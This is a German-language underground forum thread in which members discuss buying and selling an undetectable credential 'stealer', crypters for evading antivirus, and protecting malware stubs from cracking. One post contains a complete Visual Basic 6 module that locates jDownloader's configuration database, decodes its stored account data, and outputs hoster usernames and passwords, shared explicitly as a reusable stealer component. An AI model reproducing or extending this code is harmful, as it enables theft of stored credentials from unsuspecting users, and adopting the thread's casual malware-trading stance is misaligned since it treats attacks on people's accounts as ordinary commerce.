Stealer (noch kein Name)

[j0.keR]

Bisschen geldgeil oder ?
Ich versteh nicht warum hier die Nachfrage für solche Tools hier so groß ist ?
Warum nen fud stealer kaufen wenn man sich nen Crypter kaufen kann , und den dann auch wieder bei dir ?
Code doch eher mal einwenig anspruchsvollere Progs immer die Kiddys hier unterstützen , find ich langsam einwenig langweilig !

[hackerking]

in vb6 hab ich eig noch keine SmartFTP recovery gesehn und auch keine CoreFTP und habe noch überhaupt keinen Stealer mit jDownloader gesehn :|

Doch es gab mal den Source zu einem fertigen Stealer mit all dem Scheiß
Hab den sogar glaube ich noch auf der Platte...

[Tix]

@hackerking dann uploade mir den Mal in vb6
@psyborg die Stubs uncryptbar zu machen ist Schwachsinn

@Alle die glauben OpCodez crackt das so einfach:
Habe mich schon mit ihm in ICQ unterhalten und habe ihm bisschen gesagt wie ichs protecten werde und ich glaube nicht das er sich für Builder + eine Stub ranmacht VMs zu unpacken etc.

[spamnade]

Warum sollte er den das Rad neu erfinden?

Ihr kauft euch doch auch immer das "neuere" Auto etc.

[fitfull]

lol, was habt ihr denn alle?

Wenn ihr euch das kaufen wollt, lasst es.
Kaufe mir den Stealer evtl.

[hackerking]

@Tix
Einfach mal in ein paar andere Boards gucken..
Hab denn wenn auf meinem zweit PC.

[fr34k*]

Was ich bist jetzt nicht verstehe...
Warum um Himmels willen sollte OpCodez seine Zeit in ein so lächerlichen, 0815, 3102932103x vorhanden Crypter von dir stecken?
Macht es da nicht mehr Sinn Löcher in die Luft zu schauen?
Aber vielleicht kann mich da mal einer aufklären?

[Tix]

@fr34k das ist doch genau was ich meine, wieso sollte jemand sich ewig Mühe machen ein 10€ Tool zu cracken, sieht OpCodez genauso

endlich mal jemand der merkt was Sache ist.

[BlackHook]

Wers braucht. jDownloader
Allerdings gibt es noch paar Fehler drinn. Coder kriegen Siee aber weg.

'*******************************************************
'*  Module  : mjDownloadRecovery.bas
'*  Author  : skilled
'*  Contact :
'*      MSN : skilled1337@hotmail.com
'*      ICQ : 665514
'*  Greetz  :
'*      pcfx
'*      mr.unnamed
'*      ++++
'*
'*
'*  Leave Credits if you use this module!
'*******************************************************


Public Function jDownloader() As String
Dim sFilePath As String
sFilePath = Environ("programfiles") & "\jDownloader\config\database.script"
If Dir(sFilePath) = "" Then Exit Function

Dim f As Integer: f = FreeFile
Dim sLine As String: Dim sLines() As String
Dim sHost As String: Dim sUser As String: Dim sPass As String
Dim sString As String: sString = "INSERT INTO CONFIG VALUES('AccountController','"
Dim i As Long
Dim sDecrypted As String

Open sFilePath For Input As #f
Do While Not EOF(f)
    Line Input #f, sLine
    If Left(sLine, Len(sString)) = sString Then
        sLine = Mid(Mid(sLine, Len(sString) + 1), 1, Len(sLine) - 2)
        For i = 1 To Len(sLine) Step 2
           sDecrypted = sDecrypted & Chr$(Val("&H" & Mid$(sLine, i, 2)))
        Next i
        sLines = Split(sDecrypted, Chr(0))
        For i = 0 To UBound(sLines)
            For x = 1 To 31: sLines(i) = Replace(sLines(i), Chr(x), vbNullString): Next
            sLines(i) = Replace(sLines(i), "ÿ", vbNullString)
            If sLines(i) <> "" Then sAll = sAll & vbNewLine & sLines(i)
        Next
        sLines = Split(sAll, vbNewLine)
        For i = 0 To UBound(sLines) - 1
            If Right(sLines(i), 2) = "sq" And InStr(sLines(i), ".") > 0 Then
                sHost = Left(sLines(i), Len(sLines(i)) - 2)
            End If
            If Right(sLines(i), 1) = "t" And Right(sLines(i + 1), 2) = "xt" Then
                sPass = Left(sLines(i), Len(sLines(i)) - 1)
                sUser = Left(sLines(i + 1), Len(sLines(i + 1)) - 2)
                jDownloader = jDownloader & "Host : " & sHost & vbNewLine & _
                                            "User : " & sUser & vbNewLine & _
                                            "Pass : " & sPass & vbNewLine & String(20, "=") & vbNewLine
            End If
        Next
        GoTo ende
    End If
Loop

ende:
End Function

Ich hasse es wie geheim Alles gahalten wird.
Das Rad muss nicht neu erfunden werden. Nur durch Teilen des Wissens können neue Profis entstehen.
Lernt endlich zu teilen.

[K-Gee]

Ich verstehe nicht wieso dann Ghosty für seinen Privaten Stealer so gelobt wurde :o